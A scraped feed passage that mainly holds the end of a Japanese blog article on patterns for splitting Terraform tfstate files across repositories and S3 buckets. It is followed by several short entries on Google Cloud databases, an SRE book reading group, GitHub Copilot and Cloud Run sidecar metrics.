\uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、同じリポジトリで管理するとリポジトリが巨大になってしまいます。そのため、これはお勧めしません。【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # frontendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # frontendチームが管理するmonitorコンポーネントの状態を持つ│├── \uD83D\uDCC2 backend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # backendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # backendチームが管理するmonitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 sre-team ├── \uD83D\uDCC2 application │ └── terraform.tfstate # sreチームが管理するapplicationコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 auth │ └── terraform.tfstate # sreチームが管理するauthコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 monitor │ └── terraform.tfstate # sreチームが管理するmonitorコンポーネントの状態を持つ │ └── \uD83D\uDCC2 network └── terraform.tfstate # sreチームが管理するnetworkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...同じテナント内のプロダクト別この分割方法について同じテナント (例：同じAWSアカウントの同じVPC) 内に複数の小さなプロダクトがある場合、プロダクト別でtfstateファイルを分割し、中間層もこれに基づいて設計します。ここでいうプロダクトは、アプリを動かすプラットフォーム (例：EKS、ECS、AppRunner、EC2) とそれを取り巻くAWSリソースを指しています。この分割方法により、各プロダクトの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWSの設計プラクティスとしてプロダクトごとにVPCを分けた方がよいため、この分割方法を採用することは少ないかもしれません。ただ現実として、各プロダクトの使用するIPアドレス数が少なく、またプロダクト別にVPCを分割するのが煩雑という現場はあります\uD83D\uDE2D【同じテナント内のプロダクト】状態の依存関係図例えば、以下のプロダクトに分割した状況と仮定します。fooプロダクトbarプロダクト共有networkコンポーネント (例：VPC、Route53)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、共有networkコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 同じテナント内のプロダクト---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket foo-product[\\"foo-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network bar-product[\\"bar-product-tfstate
(アプリを動かすプラットフォームのAWSリソース)\\"]-..->network network[\\"network-tfstate
(Route53, VPC)\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# fooプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-foo-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する ...# barプロダクトの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-bar-product-repository/├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する ...# 共有networkコンポーネントの tfstate ファイルのリポジトリ\uD83D\uDC31 aws-network-repository/├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── route53.tf├── vpc.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 foo-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # fooプロダクトの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 bar-product/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # barプロダクトの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合同じテナント内のプロダクトの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、同じテナント内のプロダクトに分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 foo-product│ └── terraform.tfstate # fooプロダクトの状態を持つ│├── \uD83D\uDCC2 bar-product│ └── terraform.tfstate # barプロダクトの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの種類グループ別この分割方法についてAWSリソースの種類グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各AWSリソースの種類グループも管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWSリソースの種類グループは、分けようと思えばいくらでも細分化できてしまいます。細分化した数だけterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。特にこの分割方法は、グループ数がどんどん増えていく可能性があります\uD83D\uDE07【種類グループ別】状態の依存関係図例えば、以下の種類グループに分割した状況と仮定します。application (Webサーバー、Appサーバー系)auth (認証/認可系)datastore (DBサーバー系)cicd (CI/CD系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、networkグループやauthグループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの種類グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
例: ALB, API Gateway, CloudFront, EC2, ECS, EKS, SNS, など\\"] auth[\\"auth-tfstate
例: IAM, など\\"] cicd[\\"cicd-tfstate
例: Code3兄弟, など\\"] monitor[\\"monitor-tfstate
例: CloudWatch, など\\"] network[\\"network-tfstate
例: Route53, VPC, など\\"] datastore[\\"datastore-tfstate
例: ElastiCache, RDS, S3, など\\"] application-....->auth application-..->datastore application-...->network cicd-..->application datastore-..->network monitor-..->application monitor-..->datastore end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── alb.tf│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 cicd/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── codebuild.tf│ ├── codecommit.tf│ ├── codedeploy.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # cicdコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 datastore/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── rds.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # datastoreコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから参照できるように、outputブロックを定義する ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの種類グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの種類グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 cicd│ └── terraform.tfstate # cicdコンポーネントの状態を持つ│├── \uD83D\uDCC2 datastore│ └── terraform.tfstate # datastoreコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...AWSリソースの状態の変更頻度グループ別この分割方法についてAWSリソースの状態の変更頻度グループ別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各変更頻度グループの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。oneplane comments on Best way to approach splitting up the state file【変更頻度グループ別】状態の依存関係図例えば、以下の変更頻度グループに分割した状況と仮定します。変更高頻度グループ変更中頻度グループ変更低頻度グループここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、変更低頻度グループの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: AWSリソースの状態の変更頻度グループ別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket high[\\"high-freq-tfstate
例: API Gateway, CloudFront, CloudWatch, IAM\\"] middle[\\"middle-freq-tfstate
例: ALB, EC2, ECS, EKS, ElastiCache, RDS, S3, SES, SNS\\"] low[\\"low-freq-tfstate
例: Route53, VPC\\"] high-...->low middle-..->low end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 high-freq # 高頻度変更グループ│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── cloudfront.tf│ ├── cloudwatch.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # high-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 low-freq # 低頻度変更グループ│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── route53.tf│ ├── vpc.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # low-freqコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 middle-freq # 中頻度変更グループ (高頻度とも低頻度とも言えないリソース) ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── elasticache.tf ├── rds.tf ├── s3.tf ├── ses.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # middle-freqコンポーネントの状態を持つ tfstate ファイルを指定する ...【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合AWSリソースの変更頻度グループ別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、AWSリソースの変更頻度グループ別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 high-freq│ └── terraform.tfstate # high-freqコンポーネントの状態を持つ│├── \uD83D\uDCC2 middle-freq│ └── terraform.tfstate # middle-freqコンポーネントの状態を持つ│└── \uD83D\uDCC2 low-freq └── terraform.tfstate # low-freqコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...10. おわりにTerraformのtfstateファイルの分割パターンをもりもり布教しました。ぜひ採用してみたい分割パターンはあったでしょうか。Terraformの開発現場の具体的な要件は千差万別であり、特にtfstateファイル間の状態の依存関係は様々です。もし、この記事を参考に設計してくださる方は、分割パターンを現場に落とし込んで解釈いただけると幸いです\uD83D\uDE47\uD83C\uDFFB‍「自分を信じても…信頼に足る仲間を信じても…誰にもわからない…」(お友達の@nwiizo, 2023, Terraform Modules で再利用できるので最高ではないでしょうか？)謝辞今回、Terraformの分割パターンの収集にあたり、以下の方々からの意見・実装方法も参考にさせていただきました。@kiyo_12_07 さん@masasuzu さん@tozastation さん(アルファベット順)この場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/07/05/001756","isoDate":"2023-07-04T15:17:56.000Z","dateMiliSeconds":1688483876000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"光に負けルナ~Google Cloudでのマルチリージョンデータベースについて~","contentSnippet":"クラウドを利用する一番のメリットの一つとしてオンデマンドでリソースを調達し、アクセス負荷に応じてスケールイン・アウト出来ることが上げられます。そのため大体のアプリケーションではシングルリージョンまたは隣接するリージョン2~3程度で運用を始めることが多いと思います。(日本の場合asia-northeast-1とasia-northeast-2など)アプリケーションがグローバルに拡大すると、それだけ物理的な距離が広がりユーザ・サーバ間のアクセスにかかる時間が拡大します。例えばユーザ・サーバ共に日本にある場合(沖縄・北海道間約3,000km)、ネットワークによる遅延は片道約15ms以下...","link":"https://zenn.dev/nnaka2992/articles/to_beat_light_speed_on_google_cloud_databases","isoDate":"2023-07-03T15:39:08.000Z","dateMiliSeconds":1688398748000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"スリーシェイクに入社しました！","link":"https://bells17.medium.com/3-shake-279ea982b977?source=rss-713cf42ce34d------2","isoDate":"2023-07-03T14:10:50.000Z","dateMiliSeconds":1688393450000,"authorName":"bells17","authorId":"bells17"},{"title":"SREの専門家が集まったチームで『SREの探求』の社内輪読会を完遂しました。","contentSnippet":"\uD83C\uDF61 前回の記事syu-m-5151.hatenablog.com\uD83D\uDC36 はじめにこんにちは。株式会社スリーシェイク Sreake 事業部に所属している@nwiizo です。Sreake事業部は技術力が求められる領域で豊富な経験を持つSREの専門家が集まったチームです。事業部にはさまざまな背景を持つSREの専門家が多く在籍してます。しかし、そのSREの専門家達とは案件が一緒にならなかったり、能動的に質問をしなければSREに関する意見や知見を聞けませんでした。SREの探求 ―様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践オライリージャパンAmazonそんな、課題がある中で半年前に各案件で得た知見や経験を各メンバーで出し合える会がもっと(社内で技術共有会はあるため)あると良いと思いました。そこで社内チャットで有志を募り 『輪読会について考える会』を行いました。社内チャットで運営を募ると一瞬で集まったので良い組織だと思いました。※『輪読会の各話』の議事録が見れるTOPページです。\uD83D\uDC35 各メンバーの感想と今後のアクションsugoude途中からの参加でしたが、楽しく役立つ輪読会でした。特に16章17章はDBREに関する内容でしたので当事者意識を持って参加し、有意義な時間になりました。個人的には、途中からの参加でしたので、SREの探求を再演してもらえたら嬉しいです。hash_gen選定理由としてみんなSRE本は読んでるだろうという点もあったと思いますが、様々なケースと向き合ってきたSreake事業がある3-shakeだからこそSREの探求を輪読する価値があったと思いました。様々な事例に対して我々の場合はどうやって提案していけばよいかという会話が多かったことが印象に残っています。日々のアウトプットでも技術フォーカスの内容に加えて具体的な経験例を社内に積極的にフィードバックしていくことでこのいい習慣を続けていけたらと思っています。SatohJohn入社してまもなくというのも有り、そこまでSREの用語に対して詳しくなかったため、この本を読むことで、どうしてそれらの用語が必要なのかが深掘りできたきがしました。また、個人的にGoogle CloudのDevOpsの試験を受けることが有り、その際にもこの本での話題が役に立ちました。今後アプリケーション開発にSREの考えを入れられるようにするのに、ちょうどよい粒度だったと感じております。tozastationインターンの方が参加したタイミングだけ出れたのでそのエピソードで...! Sreake 事業部だけでなく、他事業部も巻き込んで開催していたのが素敵だなと思いました。Sreake の仕事を知ってもらうであったり、他事業部にも SRE を取り込んでもらうなどさまざまな意見交換が生まれる場だったじゃないかと思います。インターンの方も声を上げてくれたのがさらに良かったです！次のテーマも応援してます！nnaka2992DBRE兼SRE見習いとしてSRE活動をしている自分にとっては、データベース以外でのSREの取り組みを技術・ヒューマンスキル両方の面から学べる本でした。弊社のような不特定多数の組織に対するSREの導入サポートを行う企業では、それぞれの組織に合わせたSREの適用が必要となります。様々なSRE実践例を扱う本書籍は自分の知見を深める面でも、SREとしての引き出しを増やす面でも素晴らしい書籍でした。今後はあくまでこの書籍はある組織での最適解としてリファレンスしながら、それぞれの組織で最適となるSREの探求を続けられればと思います。とあるメンバーすごい有意義な時間でした。Sreake内で自分は人数も組織も大きな組織でどうやって既存の組織にSREを導入するか？を考えているので、様々なプラクティスを知れたのは良い体験でした。輪読で学んだことをお客様に話すと「なるほど！」と言ってもらえることも多々ありました。\uD83D\uDC26 まとめ今回の読書会は、新しい知識共有のコミュニティーを作り上げながら実施しました。毎週1回、定められた時間にオンラインに集まり、担当者が1章ずつ読みまとめ、それについて話し合うのです。そして、その議論の過程をドキュメントに記録し、印象に残った部分をいつでも見返せるように保存しておけます。感想はもちろん、一人一人異なりますが、それぞれが課題や組織に向かって解決策を考えていくのがとても面白かったです。その結果、同じ本を読んでいても、それぞれ異なるアクションを考え出すことができました。このようなコミュニティを活用した議論と輪読により、活発な意見交換をしながら特殊なミームが発生したり楽しく読書を進めることができました。これからも、このスタイルの読書会は続けていく予定です。皆さんも、一緒に働くメンバーと読書会を試してみてはいかがでしょうか？新たな知識共有の体験、その刺激を味わってほしいです。弊社の採用サイトも載せておきますjobs-3-shake.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/07/03/094713","isoDate":"2023-07-03T00:47:13.000Z","dateMiliSeconds":1688345233000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Copilotでらくらくコードリーディング","contentSnippet":"GitHub Copilot便利ですね。2021年にTechnical Previewとして発表された時から便利だ便利だと言われていたGitHub Copilotに、2023年の4月末ごろからデビューしました。デビューしたは良いものの最近は仕事ではコーディングよりアーキテクト的な方面でのお仕事が多かったり、個人の時間でもコーディングするよりOSSのコードを読むことのほうが多くコーディングのアシスタントツールとしては使いこなせていません。そのため最近はPostgreSQLのコードを読むときのアシスタントとして利用することが多いです。なのでこの記事ではCopilotでコードリーディン...","link":"https://zenn.dev/nnaka2992/articles/code_reading_with_copilot","isoDate":"2023-06-28T14:41:21.000Z","dateMiliSeconds":1687963281000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Cloud RunのSidecarでJVMのmetricsの取得してみた","contentSnippet":"概要Cloud Runのmetricsをデフォルトで取得している指標(metrics)以外の指標が他に欲しい場合、どうするのが良いのかを考えてみました。ちょうどCloud RunのSidecar機能がでたので、それを使います。他の指標を、ここではJVMのmetricsとします。Cloud Run上のJVMのmetricsが取れて何が嬉しいのかについては、一旦考えません。後にCloud Runの最大起動時間が増えた場合は、意味があるかもしれません。 構成図にすると以下のような感じになります。Cloud RunでSpring 